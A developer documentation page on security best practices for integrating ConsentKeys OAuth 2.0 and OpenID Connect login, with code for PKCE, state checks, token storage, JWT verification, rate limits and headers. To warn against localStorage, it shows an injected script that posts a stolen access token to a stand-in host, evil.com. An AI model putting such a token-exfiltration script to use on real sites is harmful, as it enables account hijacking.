Security Best Practices
Essential security considerations for integrating ConsentKeys authentication.
Overview
ConsentKeys implements OAuth 2.0 and OpenID Connect security standards. However, your implementation matters - follow these best practices to keep your users safe.
PKCE (Proof Key for Code Exchange)
Why PKCE?
PKCE prevents authorization code interception attacks, especially important for:
- Single-page applications (SPAs)
- Mobile applications
- Any public client (no client secret)
Implementation
// 1. Generate code verifier (random string)
function generateCodeVerifier(): string {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}
// 2. Generate code challenge (SHA-256 hash)
async function generateCodeChallenge(verifier: string): Promise<string> {
const encoder = new TextEncoder();
const data = encoder.encode(verifier);
const hash = await crypto.subtle.digest('SHA-256', data);
return base64UrlEncode(new Uint8Array(hash));
}
// 3. Store verifier for later use
sessionStorage.setItem('code_verifier', verifier);
// 4. Include challenge in authorization request
const authUrl = `${AUTH_URL}?` + new URLSearchParams({
// ... other params
code_challenge: challenge,
code_challenge_method: 'S256',
});
// 5. Include verifier in token exchange
const tokenResponse = await fetch(TOKEN_URL, {
method: 'POST',
body: new URLSearchParams({
// ... other params
code_verifier: sessionStorage.getItem('code_verifier'),
}),
});
✅ Do:
- Always use PKCE for public clients
- Use SHA-256 (
S256) method - Generate a new verifier for each auth flow
- Store verifier securely (sessionStorage, not localStorage)
❌ Don't:
- Skip PKCE for mobile/SPA apps
- Reuse the same verifier
- Store verifier in URLs or logs
CSRF Protection (State Parameter)
Why State?
The state parameter prevents Cross-Site Request Forgery (CSRF) attacks where an attacker tricks a user into completing an OAuth flow on their behalf.
Implementation
// 1. Generate random state
function generateState(): string {
const array = new Uint8Array(16);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}
// 2. Store state before redirect
const state = generateState();
sessionStorage.setItem('oauth_state', state);
// 3. Include in authorization request
const authUrl = `${AUTH_URL}?state=${state}&...`;
// 4. Verify on callback
function handleCallback() {
const returnedState = new URLSearchParams(window.location.search).get('state');
const storedState = sessionStorage.getItem('oauth_state');
if (!returnedState || returnedState !== storedState) {
throw new Error('Invalid state - possible CSRF attack');
}
// Clean up
sessionStorage.removeItem('oauth_state');
// Continue with token exchange...
}
✅ Do:
- Always generate and verify state
- Use cryptographically random values
- Clear state after verification
❌ Don't:
- Skip state verification
- Use predictable state values
- Reuse state across multiple flows
Token Storage
Where to Store Tokens
| Storage | Access Tokens | ID Tokens | Refresh Tokens |
|---|---|---|---|
| Memory (React state) | ✅ Best | ✅ Best | ❌ No |
| sessionStorage | ⚠️ OK (XSS risk) | ⚠️ OK (XSS risk) | ❌ No |
| localStorage | ❌ Never | ❌ Never | ❌ Never |
| httpOnly cookies | ✅ Best | ✅ Best | ✅ Best |
Why Not localStorage?
localStorage is vulnerable to XSS attacks:
// ❌ DANGEROUS: Any XSS can steal the token
localStorage.setItem('access_token', token);
// Attacker injects:
<script>
fetch('https://evil.com', {
method: 'POST',
body: localStorage.getItem('access_token'),
});
</script>
Recommended Approach
Frontend (React/Vue/etc.):
// Store in memory only
const [accessToken, setAccessToken] = useState<string | null>(null);
// Fetch on mount
useEffect(() => {
fetch('/api/auth/me', { credentials: 'include' })
.then(res => res.json())
.then(data => setAccessToken(data.accessToken));
}, []);
Backend (sets httpOnly cookie):
// After token exchange
req.session.accessToken = tokens.access_token;
req.session.user = userInfo;
await req.session.save();
res.setHeader('Set-Cookie', serialize('ck_session', sessionId, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only in production
sameSite: 'lax', // CSRF protection
maxAge: 7 * 24 * 60 * 60, // 1 week
path: '/',
}));
Client Secret Protection
Never Expose Client Secrets
❌ NEVER do this:
// Frontend code - ANYONE can see this!
const CLIENT_SECRET = 'secret_abc123';
fetch('https://auth.consentkeys.com/token', {
body: new URLSearchParams({
client_secret: CLIENT_SECRET, // EXPOSED!
}),
});
✅ Always do this:
// Frontend: No secret, proxy through backend
fetch('/api/auth/callback', {
method: 'POST',
body: { code },
credentials: 'include',
});
// Backend: Secret stays on server
const tokenResponse = await fetch(TOKEN_URL, {
method: 'POST',
body: new URLSearchParams({
client_id: process.env.CLIENT_ID,
client_secret: process.env.CLIENT_SECRET, // Safe!
code,
}),
});
Environment Variables
# ✅ Good: Secrets in .env (not committed to git)
CONSENTKEYS_CLIENT_ID=ck_abc123
CONSENTKEYS_CLIENT_SECRET=secret_xyz789
SESSION_SECRET=minimum-32-character-random-string
# ❌ Bad: Secrets in code
const CLIENT_SECRET = "secret_xyz789"; // NEVER!
Add to .gitignore:
.env
.env.local
.env.production
HTTPS in Production
Why HTTPS?
Without HTTPS:
- Tokens can be intercepted (man-in-the-middle)
- Cookies can be stolen (session hijacking)
- No protection against eavesdropping
Implementation
Development:
// OK for localhost
const BASE_URL = 'https://pseudoidc.consentkeys.com';
Production:
// REQUIRED for production
const BASE_URL = 'https://api.consentkeys.com';
// Force HTTPS redirect
app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https') {
return res.redirect(`https://${req.hostname}${req.url}`);
}
next();
});
// Set secure cookies
cookieOptions: {
secure: process.env.NODE_ENV === 'production',
}
Certificate:
- Use Let's Encrypt (free)
- Or a certificate from your cloud provider
- Minimum TLS 1.2, prefer TLS 1.3
Session Security
Session Configuration
// Next.js (iron-session)
export const sessionOptions = {
password: process.env.SESSION_SECRET!, // 32+ chars
cookieName: 'ck_session',
cookieOptions: {
httpOnly: true, // Prevent JavaScript access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 1 week
path: '/',
},
};
// Flask
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_SAMESITE='Lax',
PERMANENT_SESSION_LIFETIME=timedelta(days=7),
)
Session Timeout
Implement appropriate timeouts for sensitive operations:
// Different timeouts for different sensitivity
const TIMEOUTS = {
general: 7 * 24 * 60 * 60, // 7 days
sensitive: 15 * 60, // 15 minutes
admin: 30 * 60, // 30 minutes
};
// Require re-auth for sensitive actions
async function sensitiveOperation() {
const lastAuth = session.lastAuthTime;
const now = Date.now();
if (now - lastAuth > TIMEOUTS.sensitive * 1000) {
// Require re-authentication
return res.redirect('/login?return_to=/sensitive');
}
// Proceed with operation
}
JWT Verification
Always Verify ID Tokens
❌ Bad: Trusting tokens without verification
// DANGEROUS: Token could be forged!
const payload = JSON.parse(atob(idToken.split('.')[1]));
const userId = payload.sub; // DON'T DO THIS!
✅ Good: Verify signature and claims
import { jwtVerify, createRemoteJWKSet } from 'jose';
const JWKS_URL = 'https://pseudoidc.consentkeys.com/.well-known/jwks.json';
const JWKS = createRemoteJWKSet(new URL(JWKS_URL));
async function verifyIdToken(idToken: string) {
try {
const { payload } = await jwtVerify(idToken, JWKS, {
issuer: 'https://pseudoidc.consentkeys.com',
audience: CLIENT_ID,
});
// Verify expiration
if (Date.now() >= payload.exp * 1000) {
throw new Error('Token expired');
}
// Verify nonce (if used)
const storedNonce = sessionStorage.getItem('nonce');
if (payload.nonce !== storedNonce) {
throw new Error('Invalid nonce');
}
return payload;
} catch (error) {
console.error('Token verification failed:', error);
throw new Error('Invalid token');
}
}
What to verify:
- ✅ Signature (using JWKS)
- ✅ Issuer (
issclaim) - ✅ Audience (
audclaim) - ✅ Expiration (
expclaim) - ✅ Nonce (if used for replay protection)
Input Validation
Validate Redirect URIs
// ✅ Whitelist allowed redirect URIs
const ALLOWED_REDIRECT_URIS = [
'https://pseudoidc.consentkeys.com/callback',
'https://myapp.com/callback',
'myapp://auth/callback', // Mobile
];
function validateRedirectUri(uri: string): boolean {
return ALLOWED_REDIRECT_URIS.includes(uri);
}
// In authorization endpoint
if (!validateRedirectUri(req.query.redirect_uri)) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'Invalid redirect_uri',
});
}
Validate State and Code
// Validate format
function isValidState(state: string): boolean {
return /^[A-Za-z0-9_-]{16,128}$/.test(state);
}
function isValidCode(code: string): boolean {
return /^[A-Za-z0-9_-]{20,128}$/.test(code);
}
// Use in handlers
if (!isValidState(req.query.state)) {
throw new Error('Invalid state format');
}
Rate Limiting
Implement Rate Limits
ConsentKeys has built-in rate limits, but add your own too:
import rateLimit from 'express-rate-limit';
// General API limiter
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100,
message: 'Too many requests',
});
// Stricter for auth endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 10,
message: 'Too many login attempts',
});
app.use('/api/', apiLimiter);
app.use('/api/auth/', authLimiter);
Handle Rate Limit Responses
async function makeRequest(url: string) {
const response = await fetch(url);
if (response.status === 429) {
const resetTime = response.headers.get('RateLimit-Reset');
throw new Error(`Rate limited. Retry in ${resetTime}s`);
}
return response;
}
Security Headers
Set Appropriate Headers
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
}));
// Additional headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
next();
});
Logging and Monitoring
What to Log
✅ Do log:
- Authentication attempts (success/failure)
- Token exchanges
- Session creations/deletions
- Suspicious activity (multiple failures, unusual locations)
❌ Don't log:
- Tokens (access tokens, ID tokens, secrets)
- Passwords or secrets
- Full authorization codes
- PII unless necessary
Example
function logAuthEvent(event: string, data: any) {
console.log({
timestamp: new Date().toISOString(),
event,
userId: data.userId,
clientId: data.clientId,
ip: data.ip,
userAgent: data.userAgent,
// Never log tokens!
});
}
// Usage
logAuthEvent('login_success', {
userId: user.sub,
clientId: req.body.client_id,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
Security Checklist
Before going to production:
- HTTPS enabled for all endpoints
- Client secret stored securely (environment variables)
- PKCE implemented for public clients
- State parameter verified in OAuth callback
- ID tokens verified (signature, issuer, audience, expiration)
- Tokens stored securely (httpOnly cookies or memory)
- No tokens in localStorage
- Session cookies are httpOnly, secure, sameSite
- Redirect URIs validated against whitelist
- Rate limiting implemented
- Security headers configured
- Logging excludes sensitive data
- Dependencies updated (npm audit)
- CORS configured properly
Reporting Security Issues
If you discover a security vulnerability in ConsentKeys:
DO:
- Email security@consentkeys.com (private disclosure)
- Include steps to reproduce
- Wait for acknowledgment before public disclosure
DON'T:
- Open public GitHub issues for security bugs
- Exploit vulnerabilities in production systems
- Disclose before receiving acknowledgment